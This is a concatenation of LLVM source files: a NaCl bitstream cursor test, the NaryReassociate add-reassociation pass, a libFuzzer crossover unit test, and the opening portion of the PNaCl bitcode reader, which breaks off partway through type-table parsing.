// Tests that the default bitstream cursor is at bit zero.
TEST(NaClBitstreamTest, DefaultCursorAtBitZero) {
uint8_t CursorMemory[sizeof(NaClBitstreamCursor)];
NaClBitstreamCursor *Cursor =
new (InitAltOnes(CursorMemory, sizeof(NaClBitstreamCursor)))
NaClBitstreamCursor();
EXPECT_EQ(BitZero, Cursor->GetCurrentBitNo());
}
// Tests that when we initialize the bitstream cursor with an array-filled
// bitstream reader, the cursor is at bit zero.
TEST(NaClBitstreamTest, ReaderCursorAtBitZero) {
static const size_t BufferSize = 12;
unsigned char Buffer[BufferSize];
NaClBitstreamReader Reader(
getNonStreamedMemoryObject(Buffer, Buffer+BufferSize), 0);
uint8_t CursorMemory[sizeof(NaClBitstreamCursor)];
NaClBitstreamCursor *Cursor =
new (InitAltOnes(CursorMemory, sizeof(NaClBitstreamCursor)))
NaClBitstreamCursor(Reader);
EXPECT_EQ(BitZero, Cursor->GetCurrentBitNo());
}
TEST(NaClBitstreamTest, CursorAtReaderInitialAddress) {
static const size_t BufferSize = 12;
static const size_t InitialAddress = 8;
unsigned char Buffer[BufferSize];
NaClBitstreamReader Reader(
getNonStreamedMemoryObject(Buffer, Buffer+BufferSize), InitialAddress);
uint8_t CursorMemory[sizeof(NaClBitstreamCursor)];
NaClBitstreamCursor *Cursor =
new (InitAltOnes(CursorMemory, sizeof(NaClBitstreamCursor)))
NaClBitstreamCursor(Reader);
EXPECT_EQ(InitialAddress * CHAR_BIT, Cursor->GetCurrentBitNo());
}
} // end of anonymous namespace
<file_sep>/lib/Transforms/Scalar/NaryReassociate.cpp
//===- NaryReassociate.cpp - Reassociate n-ary expressions ----------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass reassociates n-ary add expressions and eliminates the redundancy
// exposed by the reassociation.
//
// A motivating example:
//
// void foo(int a, int b) {
// bar(a + b);
// bar((a + 2) + b);
// }
//
// An ideal compiler should reassociate (a + 2) + b to (a + b) + 2 and simplify
// the above code to
//
// int t = a + b;
// bar(t);
// bar(t + 2);
//
// However, the Reassociate pass is unable to do that because it processes each
// instruction individually and believes (a + 2) + b is the best form according
// to its rank system.
//
// To address this limitation, NaryReassociate reassociates an expression in a
// form that reuses existing instructions. As a result, NaryReassociate can
// reassociate (a + 2) + b in the example to (a + b) + 2 because it detects that
// (a + b) is computed before.
//
// NaryReassociate works as follows. For every instruction in the form of (a +
// b) + c, it checks whether a + c or b + c is already computed by a dominating
// instruction. If so, it then reassociates (a + b) + c into (a + c) + b or (b +
// c) + a and removes the redundancy accordingly. To efficiently look up whether
// an expression is computed before, we store each instruction seen and its SCEV
// into an SCEV-to-instruction map.
//
// Although the algorithm pattern-matches only ternary additions, it
// automatically handles many >3-ary expressions by walking through the function
// in the depth-first order. For example, given
//
// (a + c) + d
// ((a + b) + c) + d
//
// NaryReassociate first rewrites (a + b) + c to (a + c) + b, and then rewrites
// ((a + c) + b) + d into ((a + c) + d) + b.
//
// Finally, the above dominator-based algorithm may need to be run multiple
// iterations before emitting optimal code. One source of this need is that we
// only split an operand when it is used only once. The above algorithm can
// eliminate an instruction and decrease the usage count of its operands. As a
// result, an instruction that previously had multiple uses may become a
// single-use instruction and thus eligible for split consideration. For
// example,
//
// ac = a + c
// ab = a + b
// abc = ab + c
// ab2 = ab + b
// ab2c = ab2 + c
//
// In the first iteration, we cannot reassociate abc to ac+b because ab is used
// twice. However, we can reassociate ab2c to abc+b in the first iteration. As a
// result, ab2 becomes dead and ab will be used only once in the second
// iteration.
//
// Limitations and TODO items:
//
// 1) We only considers n-ary adds for now. This should be extended and
// generalized.
//
// 2) Besides arithmetic operations, similar reassociation can be applied to
// GEPs. For example, if
// X = &arr[a]
// dominates
// Y = &arr[a + b]
// we may rewrite Y into X + b.
//
//===----------------------------------------------------------------------===//
#include "llvm/Analysis/ScalarEvolution.h"
#include "llvm/Analysis/TargetLibraryInfo.h"
#include "llvm/IR/Dominators.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/PatternMatch.h"
#include "llvm/Transforms/Scalar.h"
#include "llvm/Transforms/Utils/Local.h"
using namespace llvm;
using namespace PatternMatch;
#define DEBUG_TYPE "nary-reassociate"
namespace {
class NaryReassociate : public FunctionPass {
public:
static char ID;
NaryReassociate(): FunctionPass(ID) {
initializeNaryReassociatePass(*PassRegistry::getPassRegistry());
}
bool runOnFunction(Function &F) override;
void getAnalysisUsage(AnalysisUsage &AU) const override {
AU.addPreserved<DominatorTreeWrapperPass>();
AU.addPreserved<ScalarEvolution>();
AU.addPreserved<TargetLibraryInfoWrapperPass>();
AU.addRequired<DominatorTreeWrapperPass>();
AU.addRequired<ScalarEvolution>();
AU.addRequired<TargetLibraryInfoWrapperPass>();
AU.setPreservesCFG();
}
private:
// Runs only one iteration of the dominator-based algorithm. See the header
// comments for why we need multiple iterations.
bool doOneIteration(Function &F);
// Reasssociates I to a better form.
Instruction *tryReassociateAdd(Instruction *I);
// A helper function for tryReassociateAdd. LHS and RHS are explicitly passed.
Instruction *tryReassociateAdd(Value *LHS, Value *RHS, Instruction *I);
// Rewrites I to LHS + RHS if LHS is computed already.
Instruction *tryReassociatedAdd(const SCEV *LHS, Value *RHS, Instruction *I);
DominatorTree *DT;
ScalarEvolution *SE;
TargetLibraryInfo *TLI;
// A lookup table quickly telling which instructions compute the given SCEV.
// Note that there can be multiple instructions at different locations
// computing to the same SCEV, so we map a SCEV to an instruction list. For
// example,
//
// if (p1)
// foo(a + b);
// if (p2)
// bar(a + b);
DenseMap<const SCEV *, SmallVector<Instruction *, 2>> SeenExprs;
};
} // anonymous namespace
char NaryReassociate::ID = 0;
INITIALIZE_PASS_BEGIN(NaryReassociate, "nary-reassociate", "Nary reassociation",
false, false)
INITIALIZE_PASS_DEPENDENCY(DominatorTreeWrapperPass)
INITIALIZE_PASS_DEPENDENCY(ScalarEvolution)
INITIALIZE_PASS_DEPENDENCY(TargetLibraryInfoWrapperPass)
INITIALIZE_PASS_END(NaryReassociate, "nary-reassociate", "Nary reassociation",
false, false)
FunctionPass *llvm::createNaryReassociatePass() {
return new NaryReassociate();
}
bool NaryReassociate::runOnFunction(Function &F) {
if (skipOptnoneFunction(F))
return false;
DT = &getAnalysis<DominatorTreeWrapperPass>().getDomTree();
SE = &getAnalysis<ScalarEvolution>();
TLI = &getAnalysis<TargetLibraryInfoWrapperPass>().getTLI();
bool Changed = false, ChangedInThisIteration;
do {
ChangedInThisIteration = doOneIteration(F);
Changed |= ChangedInThisIteration;
} while (ChangedInThisIteration);
return Changed;
}
bool NaryReassociate::doOneIteration(Function &F) {
bool Changed = false;
SeenExprs.clear();
// Traverse the dominator tree in the depth-first order. This order makes sure
// all bases of a candidate are in Candidates when we process it.
for (auto Node = GraphTraits<DominatorTree *>::nodes_begin(DT);
Node != GraphTraits<DominatorTree *>::nodes_end(DT); ++Node) {
BasicBlock *BB = Node->getBlock();
for (auto I = BB->begin(); I != BB->end(); ++I) {
if (I->getOpcode() == Instruction::Add) {
if (Instruction *NewI = tryReassociateAdd(I)) {
Changed = true;
SE->forgetValue(I);
I->replaceAllUsesWith(NewI);
RecursivelyDeleteTriviallyDeadInstructions(I, TLI);
I = NewI;
}
// We should add the rewritten instruction because tryReassociateAdd may
// have invalidated the original one.
SeenExprs[SE->getSCEV(I)].push_back(I);
}
}
}
return Changed;
}
Instruction *NaryReassociate::tryReassociateAdd(Instruction *I) {
Value *LHS = I->getOperand(0), *RHS = I->getOperand(1);
if (auto *NewI = tryReassociateAdd(LHS, RHS, I))
return NewI;
if (auto *NewI = tryReassociateAdd(RHS, LHS, I))
return NewI;
return nullptr;
}
Instruction *NaryReassociate::tryReassociateAdd(Value *LHS, Value *RHS,
Instruction *I) {
Value *A = nullptr, *B = nullptr;
// To be conservative, we reassociate I only when it is the only user of A+B.
if (LHS->hasOneUse() && match(LHS, m_Add(m_Value(A), m_Value(B)))) {
// I = (A + B) + RHS
// = (A + RHS) + B or (B + RHS) + A
const SCEV *AExpr = SE->getSCEV(A), *BExpr = SE->getSCEV(B);
const SCEV *RHSExpr = SE->getSCEV(RHS);
if (auto *NewI = tryReassociatedAdd(SE->getAddExpr(AExpr, RHSExpr), B, I))
return NewI;
if (auto *NewI = tryReassociatedAdd(SE->getAddExpr(BExpr, RHSExpr), A, I))
return NewI;
}
return nullptr;
}
Instruction *NaryReassociate::tryReassociatedAdd(const SCEV *LHSExpr,
Value *RHS, Instruction *I) {
auto Pos = SeenExprs.find(LHSExpr);
// Bail out if LHSExpr is not previously seen.
if (Pos == SeenExprs.end())
return nullptr;
auto &LHSCandidates = Pos->second;
// Look for the closest dominator LHS of I that computes LHSExpr, and replace
// I with LHS + RHS.
//
// Because we traverse the dominator tree in the pre-order, a
// candidate that doesn't dominate the current instruction won't dominate any
// future instruction either. Therefore, we pop it out of the stack. This
// optimization makes the algorithm O(n).
while (!LHSCandidates.empty()) {
Instruction *LHS = LHSCandidates.back();
if (DT->dominates(LHS, I)) {
Instruction *NewI = BinaryOperator::CreateAdd(LHS, RHS, "", I);
NewI->takeName(I);
return NewI;
}
LHSCandidates.pop_back();
}
return nullptr;
}
<file_sep>/lib/Fuzzer/test/FuzzerUnittest.cpp
#include "FuzzerInternal.h"
#include "gtest/gtest.h"
#include <set>
// For now, have TestOneInput just to make it link.
// Later we may want to make unittests that actually call TestOneInput.
extern "C" void TestOneInput(const uint8_t *Data, size_t Size) {
abort();
}
TEST(Fuzzer, CrossOver) {
using namespace fuzzer;
Unit A({0, 1, 2}), B({5, 6, 7});
Unit C;
Unit Expected[] = {
{ 0 },
{ 0, 1 },
{ 0, 5 },
{ 0, 1, 2 },
{ 0, 1, 5 },
{ 0, 5, 1 },
{ 0, 5, 6 },
{ 0, 1, 2, 5 },
{ 0, 1, 5, 2 },
{ 0, 1, 5, 6 },
{ 0, 5, 1, 2 },
{ 0, 5, 1, 6 },
{ 0, 5, 6, 1 },
{ 0, 5, 6, 7 },
{ 0, 1, 2, 5, 6 },
{ 0, 1, 5, 2, 6 },
{ 0, 1, 5, 6, 2 },
{ 0, 1, 5, 6, 7 },
{ 0, 5, 1, 2, 6 },
{ 0, 5, 1, 6, 2 },
{ 0, 5, 1, 6, 7 },
{ 0, 5, 6, 1, 2 },
{ 0, 5, 6, 1, 7 },
{ 0, 5, 6, 7, 1 },
{ 0, 1, 2, 5, 6, 7 },
{ 0, 1, 5, 2, 6, 7 },
{ 0, 1, 5, 6, 2, 7 },
{ 0, 1, 5, 6, 7, 2 },
{ 0, 5, 1, 2, 6, 7 },
{ 0, 5, 1, 6, 2, 7 },
{ 0, 5, 1, 6, 7, 2 },
{ 0, 5, 6, 1, 2, 7 },
{ 0, 5, 6, 1, 7, 2 },
{ 0, 5, 6, 7, 1, 2 }
};
for (size_t Len = 1; Len < 8; Len++) {
std::set<Unit> FoundUnits, ExpectedUnitsWitThisLength;
for (int Iter = 0; Iter < 3000; Iter++) {
CrossOver(A, B, &C, Len);
FoundUnits.insert(C);
}
for (const Unit &U : Expected)
if (U.size() <= Len)
ExpectedUnitsWitThisLength.insert(U);
EXPECT_EQ(ExpectedUnitsWitThisLength, FoundUnits);
}
}
<file_sep>/lib/Bitcode/NaCl/Reader/NaClBitcodeReader.cpp
//===- NaClBitcodeReader.cpp ----------------------------------------------===//
// Internal NaClBitcodeReader implementation
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#define DEBUG_TYPE "NaClBitcodeReader"
#include "llvm/ADT/SmallString.h"
#include "llvm/ADT/SmallVector.h"
#include "llvm/Analysis/NaCl/PNaClABITypeChecker.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeDecoders.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeDefs.h"
#include "llvm/Bitcode/NaCl/NaClBitstreamReader.h"
#include "llvm/Bitcode/NaCl/NaClLLVMBitCodes.h"
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
#include "llvm/Bitcode/ReaderWriter.h"
#include "llvm/IR/AutoUpgrade.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/DiagnosticPrinter.h"
#include "llvm/IR/GVMaterializer.h"
#include "llvm/IR/InlineAsm.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/LLVMContext.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/OperandTraits.h"
#include "llvm/IR/Operator.h"
#include "llvm/Analysis/NaCl/PNaClAllowedIntrinsics.h"
#include "llvm/IR/ValueHandle.h"
#include "llvm/Support/DataStream.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/MathExtras.h"
#include "llvm/Support/MemoryBuffer.h"
#include "llvm/Support/raw_ostream.h"
#include <limits>
using namespace llvm;
// Models a Cast. Used to cache casts created in a basic block by the
// PNaCl bitcode reader.
struct NaClBitcodeReaderCast {
// Fields of the conversion.
Instruction::CastOps Op;
Type *Ty;
Value *Val;
};
namespace llvm {
// Models the data structure used to hash/compare Casts in a DenseMap.
template<>
struct DenseMapInfo<NaClBitcodeReaderCast> {
public:
static NaClBitcodeReaderCast getEmptyKey() {
return NaClBitcodeReaderCast{Instruction::CastOpsEnd,
DenseMapInfo<Type *>::getEmptyKey(),
DenseMapInfo<Value *>::getEmptyKey()};
}
static NaClBitcodeReaderCast getTombstoneKey() {
return NaClBitcodeReaderCast{Instruction::CastOpsEnd,
DenseMapInfo<Type *>::getTombstoneKey(),
DenseMapInfo<Value *>::getTombstoneKey()};
}
static unsigned getHashValue(const NaClBitcodeReaderCast &C) {
std::pair<int, std::pair<Type*, Value*>> Tuple;
Tuple.first = C.Op;
Tuple.second.first = C.Ty;
Tuple.second.second = C.Val;
return DenseMapInfo<
std::pair<int, std::pair<Type *, Value *>>>::getHashValue(Tuple);
}
static bool isEqual(const NaClBitcodeReaderCast &LHS,
const NaClBitcodeReaderCast &RHS) {
return LHS.Op == RHS.Op && LHS.Ty == RHS.Ty && LHS.Val == RHS.Val;
}
};
} // end of llvm namespace
namespace {
//===----------------------------------------------------------------------===//
// NaClBitcodeReaderValueList Class
//===----------------------------------------------------------------------===//
class NaClBitcodeReaderValueList {
std::vector<WeakVH> ValuePtrs;
public:
NaClBitcodeReaderValueList() {}
~NaClBitcodeReaderValueList() {}
// vector compatibility methods
size_t size() const { return ValuePtrs.size(); }
void resize(size_t N) { ValuePtrs.resize(N); }
void push_back(Value *V) {
ValuePtrs.push_back(V);
}
void clear() {
ValuePtrs.clear();
}
Value *operator[](size_t i) const {
assert(i < ValuePtrs.size());
return ValuePtrs[i];
}
Value *back() const { return ValuePtrs.back(); }
void pop_back() { ValuePtrs.pop_back(); }
bool empty() const { return ValuePtrs.empty(); }
void shrinkTo(size_t N) {
assert(N <= size() && "Invalid shrinkTo request!");
ValuePtrs.resize(N);
}
// Declares the type of the forward-referenced value Idx. Returns
// true if an error occurred. It is an error if Idx's type has
// already been declared.
bool createValueFwdRef(NaClBcIndexSize_t Idx, Type *Ty);
// Gets the forward reference value for Idx.
Value *getValueFwdRef(NaClBcIndexSize_t Idx);
// Assigns V to value index Idx.
void AssignValue(Value *V, NaClBcIndexSize_t Idx);
// Assigns Idx to the given value, overwriting the existing entry
// and possibly modifying the type of the entry.
void OverwriteValue(Value *V, NaClBcIndexSize_t Idx);
};
static DiagnosticHandlerFunction getDiagHandler(DiagnosticHandlerFunction F,
LLVMContext &C) {
if (F)
return F;
return [&C](const DiagnosticInfo &DI) { C.diagnose(DI); };
}
class NaClBitcodeReader : public GVMaterializer {
NaClBitcodeHeader Header; // Header fields of the PNaCl bitcode file.
LLVMContext &Context;
DiagnosticHandlerFunction DiagnosticHandler;
Module *TheModule;
PNaClAllowedIntrinsics AllowedIntrinsics;
std::unique_ptr<MemoryBuffer> Buffer;
std::unique_ptr<NaClBitstreamReader> StreamFile;
NaClBitstreamCursor Stream;
StreamingMemoryObject *LazyStreamer;
uint64_t NextUnreadBit;
bool SeenValueSymbolTable;
std::vector<Type*> TypeList;
NaClBitcodeReaderValueList ValueList;
// Holds information about each BasicBlock in the function being read.
struct BasicBlockInfo {
// A basic block within the function being modeled.
BasicBlock *BB;
// The set of generated conversions.
DenseMap<NaClBitcodeReaderCast, CastInst*> CastMap;
// The set of generated conversions that were added for phi nodes,
// and may need their parent basic block defined.
std::vector<CastInst*> PhiCasts;
};
/// When parsing a function body, this is a list of the basic
/// blocks for the function.
std::vector<BasicBlockInfo> FunctionBBs;
// When reading the module header, this list is populated with functions that
// have bodies later in the file.
std::vector<Function*> FunctionsWithBodies;
// When intrinsic functions are encountered which require upgrading they are
// stored here with their replacement function.
typedef std::vector<std::pair<Function *, Function *>> UpgradedIntrinsicMap;
UpgradedIntrinsicMap UpgradedIntrinsics;
// Several operations happen after the module header has been read, but
// before function bodies are processed. This keeps track of whether
// we've done this yet.
bool SeenFirstFunctionBody;
/// When function bodies are initially scanned, this map contains info about
/// where to find deferred function body in the stream.
DenseMap<Function*, uint64_t> DeferredFunctionInfo;
/// True if we should only accept supported bitcode format.
bool AcceptSupportedBitcodeOnly;
/// Integer type use for PNaCl conversion of pointers.
Type *IntPtrType;
public:
explicit NaClBitcodeReader(MemoryBuffer *buffer, LLVMContext &C,
DiagnosticHandlerFunction DiagnosticHandler,
bool AcceptSupportedOnly)
: Context(C), DiagnosticHandler(getDiagHandler(DiagnosticHandler, C)),
TheModule(nullptr), AllowedIntrinsics(&C), Buffer(buffer),
LazyStreamer(nullptr), NextUnreadBit(0), SeenValueSymbolTable(false),
ValueList(), SeenFirstFunctionBody(false),
AcceptSupportedBitcodeOnly(AcceptSupportedOnly),
IntPtrType(IntegerType::get(C, PNaClIntPtrTypeBitSize)) {}
explicit NaClBitcodeReader(StreamingMemoryObject *streamer, LLVMContext &C,
DiagnosticHandlerFunction DiagnosticHandler,
bool AcceptSupportedOnly)
: Context(C), DiagnosticHandler(getDiagHandler(DiagnosticHandler, C)),
TheModule(nullptr), AllowedIntrinsics(&C), Buffer(nullptr),
LazyStreamer(streamer), NextUnreadBit(0), SeenValueSymbolTable(false),
ValueList(), SeenFirstFunctionBody(false),
AcceptSupportedBitcodeOnly(AcceptSupportedOnly),
IntPtrType(IntegerType::get(C, PNaClIntPtrTypeBitSize)) {}
~NaClBitcodeReader() override {
FreeState();
}
void FreeState();
bool isDematerializable(const GlobalValue *GV) const override;
std::error_code materialize(GlobalValue *GV) override;
std::error_code MaterializeModule(Module *M) override;
std::vector<StructType *> getIdentifiedStructTypes() const override;
void Dematerialize(GlobalValue *GV) override;
void releaseBuffer();
std::error_code Error(std::error_code EC, const Twine &Message) const;
std::error_code Error(const Twine &Message) const {
return Error(make_error_code(BitcodeError::CorruptedBitcode), Message);
}
/// Main interface to parsing a bitcode buffer. returns true if an error
/// occurred.
std::error_code ParseBitcodeInto(Module *M);
/// Convert alignment exponent (i.e. power of two (or zero)) to the
/// corresponding alignment to use. If alignment is too large, it generates
/// an error message and returns corresponding error code.
std::error_code getAlignmentValue(uint64_t Exponent, unsigned &Alignment);
// GVMaterializer interface. It's a no-op for PNaCl bitcode, which has no
// metadata.
std::error_code materializeMetadata() override { return std::error_code(); };
// GVMaterializer interface. Causes debug info to be stripped from the module
// on materialization. It's a no-op for PNaCl bitcode, which has no metadata.
void setStripDebugInfo() override {};
// Returns the value associated with ID. The value must already exist.
Value *getFnValueByID(NaClBcIndexSize_t ID) {
return ValueList.getValueFwdRef(ID);
}
private:
// Returns false if Header is acceptable.
bool AcceptHeader() const {
return !(Header.IsSupported() ||
(!AcceptSupportedBitcodeOnly && Header.IsReadable()));
}
uint32_t GetPNaClVersion() const {
return Header.GetPNaClVersion();
}
Type *getTypeByID(NaClBcIndexSize_t ID);
BasicBlock *getBasicBlock(NaClBcIndexSize_t ID) const {
if (ID >= FunctionBBs.size()) return 0; // Invalid ID
return FunctionBBs[ID].BB;
}
/// Read a value out of the specified record from slot '*Slot'. Increment
/// *Slot past the number of slots used by the value in the record. Return
/// true if there is an error.
bool popValue(const SmallVector<uint64_t, 64> &Record, size_t *Slot,
NaClBcIndexSize_t InstNum, Value **ResVal) {
if (*Slot == Record.size()) return true;
// ValNo is encoded relative to the InstNum.
NaClBcIndexSize_t ValNo = InstNum -
static_cast<NaClRelBcIndexSize_t>(Record[(*Slot)++]);
*ResVal = getFnValueByID(ValNo);
return *ResVal == 0;
}
/// Version of getValue that returns ResVal directly, or 0 if there is an
/// error.
Value *getValue(const SmallVector<uint64_t, 64> &Record, size_t Slot,
NaClBcIndexSize_t InstNum) {
if (Slot == Record.size()) return 0;
// ValNo is encoded relative to the InstNum.
NaClBcIndexSize_t ValNo = InstNum -
static_cast<NaClRelBcIndexSize_t>(Record[Slot]);
return getFnValueByID(ValNo);
}
/// Like getValue, but decodes signed VBRs.
Value *getValueSigned(const SmallVector<uint64_t, 64> &Record, size_t Slot,
NaClBcIndexSize_t InstNum) {
if (Slot == Record.size()) return 0;
// ValNo is encoded relative to the InstNum.
NaClBcIndexSize_t ValNo = InstNum -
static_cast<NaClRelBcIndexSize_t>(
NaClDecodeSignRotatedValue(Record[Slot]));
return getFnValueByID(ValNo);
}
/// Create an (elided) cast instruction for basic block BBIndex. Op is the
/// type of cast. V is the value to cast. CT is the type to convert V to.
/// DeferInsertion defines whether the generated conversion should also be
/// installed into basic block BBIndex. Note: For PHI nodes, we don't insert
/// when created (i.e. DeferInsertion=true), since they must be inserted at
/// the end of the corresponding incoming basic block.
CastInst *CreateCast(NaClBcIndexSize_t BBIndex, Instruction::CastOps Op,
Type *CT, Value *V, bool DeferInsertion = false);
/// Add instructions to cast Op to the given type T into block BBIndex.
/// Follows rules for pointer conversion as defined in
/// llvm/lib/Transforms/NaCl/ReplacePtrsWithInts.cpp.
///
/// Returns 0 if unable to generate conversion value (also generates
/// an appropriate error message and calls Error).
Value *ConvertOpToType(Value *Op, Type *T, NaClBcIndexSize_t BBIndex);
/// If Op is a scalar value, this is a nop. If Op is a pointer value, a
/// PtrToInt instruction is inserted (in BBIndex) to convert Op to an integer.
/// For defaults on DeferInsertion, see comments for method CreateCast.
Value *ConvertOpToScalar(Value *Op, NaClBcIndexSize_t BBIndex,
bool DeferInsertion = false);
/// Install instruction I into basic block BB.
std::error_code InstallInstruction(BasicBlock *BB, Instruction *I);
FunctionType *AddPointerTypesToIntrinsicType(StringRef Name,
FunctionType *FTy);
void AddPointerTypesToIntrinsicParams();
std::error_code ParseModule(bool Resume);
std::error_code ParseTypeTable();
std::error_code ParseTypeTableBody();
std::error_code ParseGlobalVars();
std::error_code ParseValueSymbolTable();
std::error_code ParseConstants();
std::error_code RememberAndSkipFunctionBody();
std::error_code ParseFunctionBody(Function *F);
std::error_code GlobalCleanup();
std::error_code InitStream();
std::error_code InitStreamFromBuffer();
std::error_code InitLazyStream();
std::error_code FindFunctionInStream(
Function *F,
DenseMap<Function*, uint64_t>::iterator DeferredFunctionInfoIterator);
};
static_assert(sizeof(NaClBcIndexSize_t) <= sizeof(size_t),
"NaClBcIndexSize_t incorrectly defined");
void NaClBitcodeReader::FreeState() {
std::vector<Type*>().swap(TypeList);
ValueList.clear();
std::vector<Function*>().swap(FunctionsWithBodies);
DeferredFunctionInfo.clear();
}
//===----------------------------------------------------------------------===//
// Helper functions to implement forward reference resolution, etc.
//===----------------------------------------------------------------------===//
// Convert a string from a record into an std::string, return true on failure.
template<typename StrTy>
static bool ConvertToString(ArrayRef<uint64_t> Record, size_t Idx,
StrTy &Result) {
if (Idx > Record.size())
return true;
for (size_t i = Idx, e = Record.size(); i != e; ++i)
Result += (char)Record[i];
return false;
}
void NaClBitcodeReaderValueList::AssignValue(Value *V, NaClBcIndexSize_t Idx) {
assert(V);
if (Idx == size()) {
push_back(V);
return;
}
if (Idx >= size())
resize(Idx+1);
WeakVH &OldV = ValuePtrs[Idx];
if (OldV == 0) {
OldV = V;
return;
}
// If there was a forward reference to this value, replace it.
Value *PrevVal = OldV;
OldV->replaceAllUsesWith(V);
delete PrevVal;
}
void NaClBitcodeReaderValueList::OverwriteValue(Value *V,
NaClBcIndexSize_t Idx) {
ValuePtrs[Idx] = V;
}
Value *NaClBitcodeReaderValueList::getValueFwdRef(NaClBcIndexSize_t Idx) {
if (Idx >= size())
return 0;
if (Value *V = ValuePtrs[Idx])
return V;
return 0;
}
bool NaClBitcodeReaderValueList::createValueFwdRef(NaClBcIndexSize_t Idx,
Type *Ty) {
if (Idx >= size())
resize(Idx + 1);
// Return an error if this a duplicate definition of Idx.
if (ValuePtrs[Idx])
return true;
// No type specified, must be invalid reference.
if (Ty == 0)
return true;
// Create a placeholder, which will later be RAUW'd.
ValuePtrs[Idx] = new Argument(Ty);
return false;
}
Type *NaClBitcodeReader::getTypeByID(NaClBcIndexSize_t ID) {
// The type table size is always specified correctly.
if (ID >= TypeList.size())
return 0;
if (Type *Ty = TypeList[ID])
return Ty;
// If we have a forward reference, the only possible case is when it is to a
// named struct. Just create a placeholder for now.
return TypeList[ID] = StructType::create(Context);
}
//===----------------------------------------------------------------------===//
// Functions for parsing blocks from the bitcode file
//===----------------------------------------------------------------------===//
static const unsigned MaxAlignmentExponent = 29;
static_assert(
(1u << MaxAlignmentExponent) == Value::MaximumAlignment,
"Inconsistency between Value.MaxAlignment and PNaCl alignment limit");
std::error_code NaClBitcodeReader::Error(std::error_code EC,
const Twine &Message) const {
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
StrBuf << "(" << naclbitc::getBitAddress(Stream.GetCurrentBitNo()) << ") "
<< Message;
BitcodeDiagnosticInfo DI(EC, DS_Error, StrBuf.str());
DiagnosticHandler(DI);
return EC;
}
std::error_code NaClBitcodeReader::getAlignmentValue(
uint64_t Exponent, unsigned &Alignment) {
if (Exponent > MaxAlignmentExponent + 1) {
std::string Buffer;
raw_string_ostream StrBuf(Buffer);
StrBuf << "Alignment can't be greater than 2**" << MaxAlignmentExponent
<< ". Found: 2**" << (Exponent - 1);
return Error(StrBuf.str());
}
Alignment = (1 << static_cast<unsigned>(Exponent)) >> 1;
return std::error_code();
}
std::error_code NaClBitcodeReader::ParseTypeTable() {
DEBUG(dbgs() << "-> ParseTypeTable\n");
if (Stream.EnterSubBlock(naclbitc::TYPE_BLOCK_ID_NEW))
return Error("Malformed block record");
std::error_code result = ParseTypeTableBody();
if (!result)
DEBUG(dbgs() << "<- ParseTypeTable\n");
return result;
}
std::error_code NaClBitcodeReader::ParseTypeTableBody() {
if (!TypeList.empty())
return Error("Multiple TYPE_BLOCKs found!");
SmallVector<uint64_t, 64> Record;
NaClBcIndexSize_t NumRecords = 0;
NaClBcIndexSize_t ExpectedNumRecords = 0;
// Read all the records for this type table.
while (1) {
NaClBitstreamEntry Entry = Stream.advance(0, nullptr);
switch (Entry.Kind) {
case NaClBitstreamEntry::SubBlock:
return Error("Invalid block found in the types block");
case NaClBitstreamEntry::Error:
return Error("Malformed types block");
case NaClBitstreamEntry::EndBlock:
if (NumRecords != ExpectedNumRecords)
return Error("Invalid forward reference in the types block");
return std::error_code();
case NaClBitstreamEntry::Record:
// The interesting case.
break;
}
// Read a record.
Record.clear();
Type *ResultTy = 0;
unsigned TypeCode = Stream.readRecord(Entry.ID, Record);
switch (TypeCode) {
default: {
std::string Message;
raw_string_ostream StrM(Message);
StrM << "Unknown type code in type table: " << TypeCode;
StrM.flush();
return Error(Message);
}
case naclbitc::TYPE_CODE_NUMENTRY: { // TYPE_CODE_NUMENTRY: [numentries]
// TYPE_CODE_NUMENTRY contains a count of the number of types in the
// type list. This allows us to reserve space.
if (Record.size() != 1)
return Error("Invalid TYPE_CODE_NUMENTRY record");
uint64_t Size = Record[0];
if (Size > NaClBcIndexSize_t_Max)
return Error("Size too big in TYPE_CODE_NUMENTRY record");
// The code double checks that Expected size and the actual size
// at the end of the block. To reduce allocations we preallocate
// the space.
//
// However, if the number is large, we suspect that the number
// is (possibly) incorrect. In that case, we preallocate a
// smaller space.
TypeList.resize(std::min(Size, (uint64_t) 1000000));
ExpectedNumRecords = Size;
// No type was defined, skip the checks that follow the switch.
continue;
}
case naclbitc::TYPE_CODE_VOID: // VOID
if (Record.size() != 0)
return Error("Invalid TYPE_CODE_VOID record");
ResultTy = Type::getVoidTy(Context);
break;
case naclbitc::TYPE_CODE_FLOAT: // FLOAT
if (Record.size() != 0)
return Error("Invalid TYPE_CODE_FLOAT record");
ResultTy = Type::getFloatTy(Context);
break;
case naclbitc::TYPE_CODE_DOUBLE: // DOUBLE
if (Record.size() != 0)
return Error("Invalid TYPE_CODE_DOUBLE record");
ResultTy = Type::getDoubleTy(Context);
break;
case naclbitc::TYPE_CODE_INTEGER: // INTEGER: [width]
if (Record.size() != 1)
return Error("Invalid TYPE_CODE_INTEGER record");
// TODO(kschimpf): Should we check if Record[0] is in range?
ResultTy = IntegerType::get(Context, Record[0]);
break;
case naclbitc::TYPE_CODE_FUNCTION: {
// FUNCTION: [vararg, retty, paramty x N]
if (Record.size() < 2)
return Error("Invalid TYPE_CODE_FUNCTION record");
SmallVector<Type *, 8> ArgTys;
for (size_t i = 2, e = Record.size(); i != e; ++i) {
if (Type *T = getTypeByID(Record[i]))
ArgTys.push_back(T);
else
break;
}
ResultTy = getTypeByID(Record[1]);
if (ResultTy == 0 || ArgTys.size() < Record.size() - 2)
return Error("invalid type in function type");
ResultTy = FunctionType::get(ResultTy, ArgTys, Record[0]);
break;
}
case naclbitc::TYPE_CODE_VECTOR: { // VECTOR: [numelts, eltty]
if (Record.size() != 2)
return Error("Invalid VECTOR type record");
if ((ResultTy = getTypeByID(Record[1])))
ResultTy = VectorType::get(ResultTy, Record[0]);
else
